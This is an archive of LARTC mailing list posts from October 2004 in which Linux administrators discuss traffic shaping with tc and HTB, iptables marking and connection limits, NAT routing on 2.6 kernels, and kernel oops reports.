But IMQ is not included in the vanila kernel, you'll need to patch it.
I'd suggest http://kem.p.lodz.pl/~peter/qnet/


-- 
damjan | дамјан
This is my jabber ID --> damjan@bagra.net.mk <-- not my mail address!!!

From lopsch@lopsch.com  Tue Oct 26 02:54:38 2004
From: lopsch@lopsch.com (Lopsch)
Date: Tue, 26 Oct 2004 03:54:38 +0200
Subject: [LARTC] IPSec with 2.6.9 and Windows clients
Message-ID: <417DAE5E.9000109@lopsch.com>

Hi,

is there a good howto for a Linux VPN-Gateway using racoon and IPSec 
provided with the actual kernel 2.6.9? Also one for how to set up a 
connection to the gateway using Windows XP and the client shipped with it?


From rio@martin.mu  Tue Oct 26 13:01:08 2004
From: rio@martin.mu (Rio Martin.)
Date: Tue, 26 Oct 2004 12:01:08 +0000
Subject: [LARTC] limit number of TCP connections.
In-Reply-To: <3063e5041025081257f6152f@mail.gmail.com>
References: <000f01c4ba58$a7df3c90$5c9cfea9@stillnicks> <200410251745.14135.rio@martin.mu> <3063e5041025081257f6152f@mail.gmail.com>
Message-ID: <200410261201.08322.rio@martin.mu>

Hello George,
Thanks for adding some more infos related to this question.

- Rio.Martin -


On Monday 25 October 2004 15:12, George Alexandru Dragoi wrote:
> iptables -I FORWARD -s 192.168.1.202 -p tcp --syn -m state --state NEW
> -m limit --limit 50/s --limit-burst 100 -j ACCEPT
> iptables -I FORWARD 2 -s 192.168.1.202 -p tcp --syn -m state --state NEW -j
> DROP
>
> with udps things are a bit simmilar, except you dont need the --syn
>
> On Mon, 25 Oct 2004 17:45:14 +0000, Rio Martin. <rio@martin.mu> wrote:
> > On 25 October 2004 am 06:05, Cristiano Soares wrote:
> > > Hi all. I have a simple question. Is that a way to limit the number os
> > > TCP or UDP connection of a single HOST in my network? For exemple: I
> > > have a host with IP 192.168.1.202 and he is using edonkey, Kazaa, and
> > > Bittorrent at the same time, and he also is infected by a virus that
> > > opens more than 500 TCP ports at the same time. So, i want to limit
> > > that host to be able to open no more then 30 TCP connections at once,
> > > so he wouldnt hurt the other users.
> > > Thanks in advance,
> > > Cristiano Soares
> >
> > Try connlimit patches from Iptables POM
> > www.netfilter.org
> >
> > - Rio.Martin -
> > _______________________________________________
> > LARTC mailing list / LARTC@mailman.ds9a.nl
> > http://mailman.ds9a.nl/mailman/listinfo/lartc HOWTO: http://lartc.org/

From lista@umeda.com.br  Tue Oct 26 04:43:43 2004
From: lista@umeda.com.br (James Lista)
Date: Tue, 26 Oct 2004 01:43:43 -0200
Subject: [LARTC] mark
References: <417DAE5E.9000109@lopsch.com>
Message-ID: <001101c4bb0d$fd7e5360$480710ac@d3lta>

folks,

when marking a packet to band control , what is the diffent between:

iptables -t mangle -A PREROUTING -m p2p --p2p all -j CONNMARK --set-mark
$P2P_MARK
iptables -t mangle -A PREROUTING -m connmark --mark $P2P_MARK -j
CONNMARK --restore-mark

and

iptables -t mangle -A PREROUTING -m p2p --p2p all -j MARK --set-mark
$P2P_MARK

??????

tried to "patch-o-matic" with connmark and didnot work out (kernel 2.6.9)...
.. it works ok with 2.4.x

thanks any help



From chilek@chilan.com  Tue Oct 26 08:19:35 2004
From: chilek@chilan.com (Tomasz Chilinski)
Date: Tue, 26 Oct 2004 09:19:35 +0200
Subject: [LARTC] mark
In-Reply-To: <001101c4bb0d$fd7e5360$480710ac@d3lta>
References: <417DAE5E.9000109@lopsch.com> <001101c4bb0d$fd7e5360$480710ac@d3lta>
Message-ID: <20041026071134.M25292@chilan.com>

On Tue, 26 Oct 2004 01:43:43 -0200, James Lista wrote
> folks,

Hello James.

> when marking a packet to band control , what is the diffent between:
> 
> iptables -t mangle -A PREROUTING -m p2p --p2p all -j CONNMARK --set-mark
> $P2P_MARK
> iptables -t mangle -A PREROUTING -m connmark --mark $P2P_MARK -j
> CONNMARK --restore-mark
> 
> and
> 
> iptables -t mangle -A PREROUTING -m p2p --p2p all -j MARK --set-mark
> $P2P_MARK

Each p2p connection is composed of many ip packets. p2p match is sensible for
some specific data fields in some these packets. So if you mark only these
packets all other packets (with p2p application data) wont be marked and you
wont limit transfer. Second line in first example marks CONNECTIONs (not
packets) belonged to p2p connection (detected by p2p match). Using second
method has not effect as you would wish.

> ??????
> 
> tried to "patch-o-matic" with connmark and didnot work out (kernel 
> 2.6.9)... .. it works ok with 2.4.x

It works for me with 2.4.x too. I didnt tried with 2.6.x.

--
Kind regards,
Tomasz Chilinski


From nuclearcat <nuclearcat@nuclearcat.com>  Tue Oct 26 10:52:49 2004
From: nuclearcat <nuclearcat@nuclearcat.com> (nuclearcat)
Date: Tue, 26 Oct 2004 12:52:49 +0300
Subject: [LARTC] kernel oops, then tc not working
Message-ID: <17810728744.20041026125249@nuclearcat.com>

Hello LARTC.

Sorry, that i am not professional to do bugreports... but

Kernel vanilla 2.6.9
What else info need?

First one

Oct 24 19:26:59 Gerasimos5 kernel: Unable to handle kernel paging request at virtual address 00100100
Oct 24 19:26:59 Gerasimos5 kernel:  printing eip:
Oct 24 19:26:59 Gerasimos5 kernel: c03115b1
Oct 24 19:26:59 Gerasimos5 kernel: *pde = 00000000
Oct 24 19:26:59 Gerasimos5 kernel: Oops: 0000 [#1]
Oct 24 19:26:59 Gerasimos5 kernel: SMP
Oct 24 19:26:59 Gerasimos5 kernel: Modules linked in: ipt_NOTRACK iptable_raw iptable_nat iptable_filter ip_tables sch_sfq cls_u32 sch_htb
Oct 24 19:26:59 Gerasimos5 kernel: CPU:    0
Oct 24 19:26:59 Gerasimos5 kernel: EIP:    0060:[<c03115b1>]    Not tainted VLI
Oct 24 19:26:59 Gerasimos5 kernel: EFLAGS: 00010206   (2.6.9c2n0)
Oct 24 19:26:59 Gerasimos5 kernel: EIP is at qdisc_lookup+0x31/0x45
Oct 24 19:26:59 Gerasimos5 kernel: eax: 001000cc   ebx: 001000cc   ecx: f7eab118   edx: 00100100
Oct 24 19:26:59 Gerasimos5 kernel: esi: 00010000   edi: 00010000   ebp: d8972000   esp: d8350c58
Oct 24 19:26:59 Gerasimos5 kernel: ds: 007b   es: 007b   ss: 0068
Oct 24 19:26:59 Gerasimos5 kernel: Process tc (pid: 18380, threadinfo=d8350000 task=f7def8b0)
Oct 24 19:26:59 Gerasimos5 kernel: Stack: 00010000 00010002 c0312948 f7eab000 00010000 00000002 00000000 f7a2de00
Oct 24 19:26:59 Gerasimos5 kernel:        00000000 d8092c80 00000246 d8092c80 00000868 0000083c d8972000 c030dce0
Oct 24 19:26:59 Gerasimos5 kernel:        d8092c80 d8972000 c192b880 00000014 c0222bb6 0000003c c1a68e50 00000000
Oct 24 19:26:59 Gerasimos5 kernel: Call Trace:
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0312948>] tc_ctl_tclass+0x7f/0x269
Oct 24 19:26:59 Gerasimos5 kernel:  [<c030dce0>] rtnetlink_rcv+0x2d4/0x38c
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0222bb6>] copy_to_user+0x3e/0x4e
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0315121>] netlink_getsockbypid+0x4f/0xac
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0315e7f>] netlink_data_ready+0x62/0x6a
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0315444>] netlink_sendskb+0x9e/0xa0
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0315b24>] netlink_sendmsg+0x205/0x2f4
Oct 24 19:26:59 Gerasimos5 kernel:  [<c02fc655>] sock_sendmsg+0xe5/0x100
Oct 24 19:26:59 Gerasimos5 kernel:  [<c02fc655>] sock_sendmsg+0xe5/0x100
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0222c08>] copy_from_user+0x42/0x6e
Oct 24 19:26:59 Gerasimos5 kernel:  [<c011b5ba>] autoremove_wake_function+0x0/0x57
Oct 24 19:26:59 Gerasimos5 kernel:  [<c02fdfd8>] sys_sendmsg+0x189/0x1e6
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0148898>] handle_mm_fault+0xf4/0x16c
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0116f4b>] do_page_fault+0x196/0x599
Oct 24 19:26:59 Gerasimos5 kernel:  [<c01575d1>] fget+0x49/0x5e
Oct 24 19:26:59 Gerasimos5 kernel:  [<c02fc3fe>] sockfd_lookup+0x1c/0x74
Oct 24 19:26:59 Gerasimos5 kernel:  [<c02fdd1a>] sys_setsockopt+0x78/0xb2
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0222c08>] copy_from_user+0x42/0x6e
Oct 24 19:26:59 Gerasimos5 kernel:  [<c02fe462>] sys_socketcall+0x236/0x254
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0116db5>] do_page_fault+0x0/0x599
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0105ac5>] error_code+0x2d/0x38
Oct 24 19:26:59 Gerasimos5 kernel:  [<c0104fc3>] syscall_call+0x7/0xb
Oct 24 19:26:59 Gerasimos5 kernel: Code: 8b 74 24 10 8b 91 18 01 00 00 8d 5a cc 8b 43 34 0f 18 00 90 81 c1 18 01 00 00 39 ca 74 18 39 73 14 74 18 8b 53 34 8d
 42 cc 89 c3 <8b> 40 34 0f 18 00 90 39 ca 75 e8 31 c0 5b 5e c3 89 d8 eb f9 83
Oct 24 19:26:59 Gerasimos5 kernel:  <0>Fatal exception: panic in 5 seconds

Second one, (i did new policiers, but seems bug in qdisc, ignore name
change)


Oct 25 23:34:48 ipgate906 kernel: Unable to handle kernel paging request at virtual address 00100100
Oct 25 23:34:48 ipgate906 kernel:  printing eip:
Oct 25 23:34:48 ipgate906 kernel: c03117bd
Oct 25 23:34:48 ipgate906 kernel: *pde = 00000000
Oct 25 23:34:48 ipgate906 kernel: Oops: 0000 [#1]
Oct 25 23:34:48 ipgate906 kernel: SMP
Oct 25 23:34:48 ipgate906 kernel: Modules linked in: sch_sfq cls_u32 sch_htb ipt_NOTRACK iptable_raw iptable_filter ip_tables
Oct 25 23:34:48 ipgate906 kernel: CPU:    0
Oct 25 23:34:48 ipgate906 kernel: EIP:    0060:[<c03117bd>]    Not tainted VLI
Oct 25 23:34:48 ipgate906 kernel: EFLAGS: 00010206   (2.6.9c2n0)
Oct 25 23:34:48 ipgate906 kernel: EIP is at qdisc_lookup+0x31/0x45
Oct 25 23:34:48 ipgate906 kernel: eax: 001000cc   ebx: 001000cc   ecx: f7e78118   edx: 00100100
Oct 25 23:34:48 ipgate906 kernel: esi: 00010000   edi: 00010000   ebp: db7d1000   esp: f5333c58
Oct 25 23:34:48 ipgate906 kernel: ds: 007b   es: 007b   ss: 0068
Oct 25 23:34:48 ipgate906 kernel: Process tc (pid: 9915, threadinfo=f5333000 task=f7041830)
Oct 25 23:34:48 ipgate906 kernel: Stack: 00010000 00010002 c0312b54 f7e78000 00010000 00000002 00000000 f7ed4ac0
Oct 25 23:34:48 ipgate906 kernel:        00000000 dd3e6a80 00000246 dd3e6a80 00000868 0000083c db7d1000 c030deec
Oct 25 23:34:48 ipgate906 kernel:        dd3e6a80 db7d1000 c192b880 00000014 c0222bb6 0000003c c1a68e50 00000000
Oct 25 23:34:48 ipgate906 kernel: Call Trace:
Oct 25 23:34:48 ipgate906 kernel:  [<c0312b54>] tc_ctl_tclass+0x7f/0x269
Oct 25 23:34:48 ipgate906 kernel:  [<c030deec>] rtnetlink_rcv+0x2d4/0x38c
Oct 25 23:34:48 ipgate906 kernel:  [<c0222bb6>] copy_to_user+0x3e/0x4e
Oct 25 23:34:48 ipgate906 kernel:  [<c03176b5>] netlink_getsockbypid+0x4f/0xac
Oct 25 23:34:48 ipgate906 kernel:  [<c0318413>] netlink_data_ready+0x62/0x6a
Oct 25 23:34:48 ipgate906 kernel:  [<c03179d8>] netlink_sendskb+0x9e/0xa0
Oct 25 23:34:48 ipgate906 kernel:  [<c03180b8>] netlink_sendmsg+0x205/0x2f4
Oct 25 23:34:48 ipgate906 kernel:  [<c02fc655>] sock_sendmsg+0xe5/0x100
Oct 25 23:34:48 ipgate906 kernel:  [<c02fc655>] sock_sendmsg+0xe5/0x100
Oct 25 23:34:48 ipgate906 kernel:  [<c0222c08>] copy_from_user+0x42/0x6e
Oct 25 23:34:48 ipgate906 kernel:  [<c011b5ba>] autoremove_wake_function+0x0/0x57
Oct 25 23:34:48 ipgate906 kernel:  [<c02fdfd8>] sys_sendmsg+0x189/0x1e6
Oct 25 23:34:48 ipgate906 kernel:  [<c0148898>] handle_mm_fault+0xf4/0x16c
Oct 25 23:34:48 ipgate906 kernel:  [<c0116f4b>] do_page_fault+0x196/0x599
Oct 25 23:34:48 ipgate906 kernel:  [<c01575d1>] fget+0x49/0x5e
Oct 25 23:34:48 ipgate906 kernel:  [<c02fc3fe>] sockfd_lookup+0x1c/0x74
Oct 25 23:34:48 ipgate906 kernel:  [<c02fdd1a>] sys_setsockopt+0x78/0xb2
Oct 25 23:34:48 ipgate906 kernel:  [<c0222c08>] copy_from_user+0x42/0x6e
Oct 25 23:34:48 ipgate906 kernel:  [<c02fe462>] sys_socketcall+0x236/0x254
Oct 25 23:34:48 ipgate906 kernel:  [<c0116db5>] do_page_fault+0x0/0x599
Oct 25 23:34:48 ipgate906 kernel:  [<c0105ac5>] error_code+0x2d/0x38
Oct 25 23:34:48 ipgate906 kernel:  [<c0104fc3>] syscall_call+0x7/0xb
Oct 25 23:34:48 ipgate906 kernel: Code: 8b 74 24 10 8b 91 18 01 00 00 8d 5a cc 8b 43 34 0f 18 00 90 81 c1 18 01 00 00 39 ca 74 18 39 73 14 74 18 8b 53 34 8d
42 cc 89 c3 <8b> 40 34 0f 18 00 90 39 ca 75 e8 31 c0 5b 5e c3 89 d8 eb f9 83




From emo terziev <foxy202@gmail.com>  Tue Oct 26 15:16:02 2004
From: emo terziev <foxy202@gmail.com> (emo terziev)
Date: Tue, 26 Oct 2004 17:16:02 +0300
Subject: [LARTC] graphics HTB
Message-ID: <a763a15b04102607164ab53460@mail.gmail.com>

Hi
  is it any tool like show.pl by Stef Coene to generate graph with
classes but for HTB




regards
emil

From jasonb@edseek.com  Tue Oct 26 16:49:20 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Tue, 26 Oct 2004 11:49:20 -0400
Subject: [LARTC] graphics HTB
In-Reply-To: <a763a15b04102607164ab53460@mail.gmail.com>
References: <a763a15b04102607164ab53460@mail.gmail.com>
Message-ID: <200410261149.20634.jasonb@edseek.com>

On Tuesday 26 October 2004 10:16, emo terziev wrote:
> Hi
>   is it any tool like show.pl by Stef Coene to generate graph with
> classes but for HTB
>

What kind of graph?  Are you trying to see if HTB classes are lending 
bandwidth the way you configured it (like the graphs on Devik's HTB Web 
site), or do you want to see leaf qdisc traffic utilization statistics?


From Andreas.Klauer@metamorpher.de  Tue Oct 26 16:55:27 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Tue, 26 Oct 2004 17:55:27 +0200
Subject: [LARTC] graphics HTB
In-Reply-To: <a763a15b04102607164ab53460@mail.gmail.com>
References: <a763a15b04102607164ab53460@mail.gmail.com>
Message-ID: <200410261755.27501.Andreas.Klauer@metamorpher.de>

Am Tuesday 26 October 2004 16:16 schrieb emo terziev:
> Hi
>   is it any tool like show.pl by Stef Coene to generate graph with
> classes but for HTB

Based on show.pl:
http://www.metamorpher.de/files/tc-graph.pl

Example graph:
http://www.metamorpher.de/files/fairnat.png (big!)

Use at your own risk only, the script is known to cause kernel panics.

HTH
Andreas

From jasonb@edseek.com  Tue Oct 26 17:16:17 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Tue, 26 Oct 2004 12:16:17 -0400
Subject: [LARTC] graphics HTB
In-Reply-To: <200410261755.27501.Andreas.Klauer@metamorpher.de>
References: <a763a15b04102607164ab53460@mail.gmail.com> <200410261755.27501.Andreas.Klauer@metamorpher.de>
Message-ID: <200410261216.17261.jasonb@edseek.com>

On Tuesday 26 October 2004 11:55, Andreas Klauer wrote:
> Am Tuesday 26 October 2004 16:16 schrieb emo terziev:
> > Hi
> >   is it any tool like show.pl by Stef Coene to generate graph with
> > classes but for HTB
>
> Based on show.pl:
> http://www.metamorpher.de/files/tc-graph.pl
>
> Example graph:
> http://www.metamorpher.de/files/fairnat.png (big!)
>
> Use at your own risk only, the script is known to cause kernel panics.

I never did find out why, but upgrading to 2.6.9-rc2 resolved the issue.  I 
think it was netlink related.


From =?koi8-r?Q?=F0=C5=D4=D2=20=F7=CF=CC=CB=CF=D7?= <torre_cremata@mail.ru>  Tue Oct 26 17:49:05 2004
From: =?koi8-r?Q?=F0=C5=D4=D2=20=F7=CF=CC=CB=CF=D7?= <torre_cremata@mail.ru> (=?koi8-r?Q?=F0=C5=D4=D2=20=F7=CF=CC=CB=CF=D7=20?=)
Date: Tue, 26 Oct 2004 20:49:05 +0400
Subject: [LARTC] ip route nat madness.
Message-ID: <E1CMUVN-000993-00.torre_cremata-mail-ru@f12.mail.ru>

Hello list.

I may become crazy without your help. I'm not nubie, but...

All worked with 2.4 kernel, but when I have to move to 2.6.8.1 it's not.

I'm using "ip route nat 231.222.222.111 via 172.16.1.13" to substitute inet address 231.222.222.111 on 172.16.1.13 during routing. Look at the output:
_____________
myhost log # ip route list table local
broadcast 127.255.255.255 dev lo  proto kernel  scope link  src 127.0.0.1
local 172.16.0.1 dev eth1  proto kernel  scope host  src 172.16.0.1
broadcast 172.16.0.0 dev eth1  proto kernel  scope link  src 172.16.0.1
broadcast 231.222.222.111 dev eth0  proto kernel  scope link  src 231.222.222.111
broadcast 231.222.222.111 dev eth0  proto kernel  scope link  src 231.222.222.111
local 231.222.222.111 dev eth0  proto kernel  scope host  src 231.222.222.111
broadcast 172.16.255.255 dev eth1  proto kernel  scope link  src 172.16.0.1
broadcast 127.0.0.0 dev lo  proto kernel  scope link  src 127.0.0.1
nat 231.222.222.111 via 172.16.1.13  scope host
local 127.0.0.1 dev lo  proto kernel  scope host  src 127.0.0.1
local 127.0.0.0/8 dev lo  proto kernel  scope host  src 127.0.0.1

myhost log # ip rule
0:      from all lookup local
323:    from 172.16.1.13 lookup main map-to 231.222.222.111
32766:  from all lookup main
32767:  from all lookup default
_______________________

So I'm trying to translate local address 172.16.1.13 on 231.222.222.111.

And that was working under 2.4 kernel. But now I have to move to 2.6 kernel and now it's not working.

I've used this commands:
ip route add nat 231.222.222.111 via 172.16.1.13
ip rule add prio 323 from 172.16.1.13 nat 231.222.222.111

!!! To be sure that it is kernel problem I've added this two rules in my FORWARD chain in the very beginning:
iptables -I FORWARD -s 172.16.1.13 -j LOG
iptables -I FORWARD -d 231.222.222.111 -j LOG

Look I have packets that should not be there:
Oct 27 00:30:04 rcline IN=eth1 OUT=eth0 SRC=172.16.1.13 DST=64.12.161.185 LEN=48 TOS=0x00 PREC=0x00 TTL=127 ID=43039 DF PROTO=TCP SPT=1923 DPT=5190 WINDOW=65535 RES=0x00 SYN URGP=0
Oct 27 00:30:04 rcline IN=eth0 OUT=eth1 SRC=83.102.131.142 DST=231.222.222.111 LEN=84 TOS=0x00 PREC=0x00 TTL=59 ID=2990 DF PROTO=ICMP TYPE=8 CODE=0 ID=22310 SEQ=2991

No substitution of niether destination, nor source adresses!!!

Please help me to make this working. I've tried 2.6.9 kernel, but It seems there is no 
"IP: fast network address translation". Why. Is feature already deprecated?

Some advices how to solve this problem are very welcome.

Sorry for my bad English, it is not my native language.

Thank you for your reading of this cry for help. If you have any ideas... they are welcome...

From ms419@freezone.co.uk  Tue Oct 26 20:24:39 2004
From: ms419@freezone.co.uk (ms419@freezone.co.uk)
Date: Tue, 26 Oct 2004 12:24:39 -0700
Subject: [LARTC] Policing
Message-ID: <AE710172-2784-11D9-AE60-000A95C71776@freezone.co.uk>

My attempts to configure policing are stopping incoming traffic all 
together.

 From the LARTC HOWTO, I gather that the following lines should limit 
incoming traffic on eth0 to 32kbit by dropping packets above this 
threshold:

	tc qdisc add dev eth0 ingress

	tc filter add dev eth0 parent ffff: protocol ip u32 \
		match u8 0x0 0x0 \
		police rate 32kbit burst 10k drop \
		classid :1

Instead, they stop all incoming traffic. From tcpdump, I can tell that 
packets are outgoing by this interface, but none are incomming.

I'm running a custom 2.4.27 kernel & Debian unstable; iproute 
20010824-13.1.

Can anyone offer some insight?

Thanks!

Jack


From stef.coene@docum.org  Tue Oct 26 20:46:54 2004
From: stef.coene@docum.org (Stef Coene)
Date: Tue, 26 Oct 2004 21:46:54 +0200
Subject: [LARTC] tc philosophy, will this work?
In-Reply-To: <200410252105.38144.zytek-lists@ostrow-wlkp.net>
References: <200410252105.38144.zytek-lists@ostrow-wlkp.net>
Message-ID: <200410262146.54218.stef.coene@docum.org>

On Monday 25 October 2004 21:05, Jakub G=B3azik wrote:
> Correct me if I'm wrong, I just want to help my friend who needs a tc
> solution with fairness to hosts on a 512K/s DSL line, but few of them
> should be restricted to 64K/s
>
> I thought about htb + esfq (sfq with ip based fairness, not connection)
>
> parent class with CEIL=3D500Kbit (no RULE? see *1) and attached esfq to t=
his
> parent class, now
Attaching esfq is useless, it will removed as soon as you add a child class.

>  child class with CEIL=3D64Kbit and RULE=3D10.0.0.1
>  child class with CEIL=3D64Kbit and RULE=3D10.0.0.2
>  child class with CEIL=3D64Kbit and RULE=3D10.0.0.N
>  child class with CEIL=3D500Kbit and RULE=3D10.0.0.0/24
>
> is this correct? or:
>
> *1 maybe here I will need RULE=3D10.0.0.0/24 ?
> so the traffic would be directed to the parent and then 64Kbit for each
> shaped host, and rest (with fairness) to other hosts in the subnet? or the
> traffic would be shaped to 500Kbit and will never run thru child classes?
You can use 1 filter to put all traffic in the child class.

> I would be thankful for any answer that would allow me to understand tc
> philosophy better ;)
Try the faq pages on www.docum.org:
http://www.docum.org/docum.org/faq/cache/10.html

Stef

=2D-=20
stef.coene@docum.org
=A0"Using Linux as bandwidth manager"
=A0 =A0 =A0http://www.docum.org/

From gdamjan@mail.net.mk  Tue Oct 26 23:36:57 2004
From: gdamjan@mail.net.mk (Damjan)
Date: Wed, 27 Oct 2004 00:36:57 +0200
Subject: [LARTC] about ARP replies
Message-ID: <20041026223656.GA16189@legolas.on.net.mk>

I have a Linux router with two ethernet cards, one connected via
a wireless bridge (WAN), and the other to the customers network(LAN).
The ip address on the LAN side I can't control, because it must be part
of customers network. The router offcourse does NAT so I never care what
the LAN ip address is ... or so I thought.

The problem is .... I use 192.168.0.x addresses to manage the wireless
bridges ... so the problem is that when the router has for ex. 192.168.0.1 on
the LAN side, and it receives an ARP request for 192.168.0.1 from the
WAN interface the router would answer that request ... when actually I
wanted to access thw managed bridges...

Is there a way to change this behaviour of the Linux network code?
I'm using mostly kernel 2.6.x, although some older routers use 2.4.xx.

  

-- 
damjan | дамјан
This is my jabber ID --> damjan@bagra.net.mk <-- not my mail address!!!

From vickyr@socal.rr.com  Wed Oct 27 00:58:53 2004
From: vickyr@socal.rr.com (Vicky)
Date: Tue, 26 Oct 2004 16:58:53 -0700
Subject: [LARTC] wonder shaper
Message-ID: <417EE4BD.10405@socal.rr.com>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

hi there,

what's difference between wonder shaper and htb/tc?

http://lartc.org/wondershaper/


please advice.


regards,
/vicky
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (MingW32)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFBfuS9pbZvCIJx1bcRAl27AKCldJljOgC89SPKAmPMM4Vwitc3IACdFS3s
SYPkRCeQVYRaDUVHHwcR6vI=
=eZfV
-----END PGP SIGNATURE-----

From Rinto Exandy <mysuse@gmail.com>  Wed Oct 27 04:28:38 2004
From: Rinto Exandy <mysuse@gmail.com> (Rinto Exandy)
Date: Wed, 27 Oct 2004 10:28:38 +0700
Subject: [LARTC] Limit traffic that use to download a file
In-Reply-To: <20041025180701.M73282@chilan.com>
References: <20041025145919.E014B235740@postfix4-2.free.fr>
 <417D3C25.70002@dsl.pipex.com> <20041025180701.M73282@chilan.com>
Message-ID: <e892b9d104102620284f76a137@mail.gmail.com>

Dear All,

Thank you for the suggestion, I use iptables connbytes facility to
mark large packet, and it' works great.

Sincerely,
Rinto Exandi

From jasonb@edseek.com  Wed Oct 27 05:23:03 2004
From: jasonb@edseek.com (Jason Boxman)
Date: Wed, 27 Oct 2004 00:23:03 -0400
Subject: [LARTC] Traffic Control Diagnostic Graphing Utility
Message-ID: <200410270023.03178.jasonb@edseek.com>

I wrote a Perl script to poll `tc` for traffic control statistics (just bytes 
presently) for leaf qdiscs.  The information is fed to either RRDTool or 
Munin[2], depending on what parameter is passed to the script.  If the option 
for a RRD database is used, graphs[3][4] are written to disk for each ten 
second polling interval.  If invoked via Munin[2], it handles graphing and 
samples at five minute intervals.

[1] http://ee-staff.ethz.ch/~oetiker/webtools/rrdtool/
[2] http://www.linpro.no/projects/munin/
[3] http://trekweb.com/~jasonb/images/eth0-24-tc.png
[4] http://trekweb.com/~jasonb/images/eth0-1-tc.png

The aim is to graphically represent bandwidth utilization for each leaf class 
to help diagnose issues with misclassification, performance, and for long 
term profiling.

The script is available[5] here.  The included README explains basic 
configuration.

[5] http://trekweb.com/~jasonb/code/polltc-1.0.tar.gz

I hope someone else finds it useful.

Comments welcome.

-- 

Jason Boxman
Perl Programmer / *NIX Systems Administrator
Shimberg Center for Affordable Housing | University of Florida
http://edseek.com/ - Linux and FOSS stuff


From Andreas.Klauer@metamorpher.de  Wed Oct 27 09:59:08 2004
From: Andreas.Klauer@metamorpher.de (Andreas Klauer)
Date: Wed, 27 Oct 2004 10:59:08 +0200
Subject: [LARTC] wonder shaper
In-Reply-To: <417EE4BD.10405@socal.rr.com>
References: <417EE4BD.10405@socal.rr.com>
Message-ID: <200410271059.08537.Andreas.Klauer@metamorpher.de>

Am Wednesday 27 October 2004 01:58 schrieb Vicky:
> what's difference between wonder shaper and htb/tc?

tc is a general traffic control configuration utility. htb is one of the 
many schedulers (qdiscs). wondershaper is a shell script that executes tc 
commands to set up traffic shaping with cbq or htb.

HTH
Andreas

From mail@konfu.de  Wed Oct 27 10:31:58 2004
From: mail@konfu.de (Florian Taeger)
Date: Wed, 27 Oct 2004 11:31:58 +0200
Subject: [LARTC] Limiting Bandwidth of an ppp interfaces
Message-ID: <007d01c4bc07$e05953c0$95f0a8c0@intern.dunkel.de>

Hi everyone.

I'm working on a problem since some days.

I have a linux router with about 100 ppp interfaces. Each interface should
bei limited to an individual bandwidth of 1024kbit, 2048kbit or 3096kbit. Up
AND downstream. (let's say for example 1024kbit upstream and 1024kbit
downstream)

The reason for this problem: I have to limit users to their booked
bandwidth, because there are hard rules, who is allowed to use which kind of
bandwidth. but some users used their 1024kbit login data with an 3096kbit
dsl line and of course they got the whole 3mbit bandwidth for
downloads/uploads.

So i MUST limit the users to a hard limit of bandwidth. no fair dealing or
something else. just a hardlimit for bandwidth. User X (pppX) get's 1024kbit
of bandwidth. no more nor less.

Another problem is, that behind an ppp interface there are some /29 net of
ip-adresses. So i am not able to filter by ip address. i have to filter by
interface.

but i just don't know how to deal with the problem Traffic shaping works
only for egress traffic, doesn't it?

Did anybody worked on the same problem before or can provide a solution for
this?

Regards

Florian Taeger


From emo terziev <foxy202@gmail.com>  Wed Oct 27 10:35:10 2004
From: emo terziev <foxy202@gmail.com> (emo terziev)
Date: Wed, 27 Oct 2004 12:35:10 +0300
Subject: [LARTC] graphics HTB
In-Reply-To: <200410261755.27501.Andreas.Klauer@metamorpher.de>
References: <a763a15b04102607164ab53460@mail.gmail.com>
 <200410261755.27501.Andreas.Klauer@metamorpher.de>
Message-ID: <a763a15b041027023549db49b2@mail.gmail.com>

Ok i will try it ...  graphics look excactly what i need.




Regards
Emil

On Tue, 26 Oct 2004 17:55:27 +0200, Andreas Klauer
<andreas.klauer@metamorpher.de> wrote:
> Am Tuesday 26 October 2004 16:16 schrieb emo terziev:
> > Hi
> >   is it any tool like show.pl by Stef Coene to generate graph with
> > classes but for HTB
> 
> Based on show.pl:
> http://www.metamorpher.de/files/tc-graph.pl
> 
> Example graph:
> http://www.metamorpher.de/files/fairnat.png (big!)
> 
> Use at your own risk only, the script is known to cause kernel panics.
> 
> HTH
> Andreas
>

From vicente@vicente.ferrando.name  Wed Oct 27 12:17:57 2004
From: vicente@vicente.ferrando.name (vicente@vicente.ferrando.name)
Date: Wed, 27 Oct 2004 13:17:57 +0200
Subject: [LARTC] Traffic Control Diagnostic Graphing Utility
In-Reply-To: <200410270023.03178.jasonb@edseek.com>
References: <200410270023.03178.jasonb@edseek.com>
Message-ID: <20041027111757.1B53D8098@Inma.vicente.ferrando.name>

    Hi Jason, 

    I'm trying your script with munin. But I can't make it work. Here you
have the error I get: 

munin-run polltc_eth0
Use of uninitialized value in hash element
at /etc/munin/plugins/polltc_eth0 line 126.
Use of uninitialized value in string eq
at /etc/munin/plugins/polltc_eth0 line 159.
Use of uninitialized value in string eq
at /etc/munin/plugins/polltc_eth0 line 159.
Use of uninitialized value in hash element
at /etc/munin/plugins/polltc_eth0 line 126.
Use of uninitialized value in string eq
at /etc/munin/plugins/polltc_eth0 line 159.
Use of uninitialized value in string eq
at /etc/munin/plugins/polltc_eth0 line 159.
Can't use an undefined value as an ARRAY reference
at /etc/munin/plugins/polltc_eth0 line 327. 

	polltc_eth0 is linked to polltc_ as explained in the Readme. And It is
modified to point to /sbin/tc. 

	I'm checking polltc_ to see if something else need to be modified. 

	Best regards. 

Jason Boxman writes: 

> I wrote a Perl script to poll `tc` for traffic control statistics (just bytes 
> presently) for leaf qdiscs.  The information is fed to either RRDTool or 
> Munin[2], depending on what parameter is passed to the script.  If the option 
> for a RRD database is used, graphs[3][4] are written to disk for each ten 
> second polling interval.  If invoked via Munin[2], it handles graphing and 
> samples at five minute intervals. 
> 
> [1] http://ee-staff.ethz.ch/~oetiker/webtools/rrdtool/
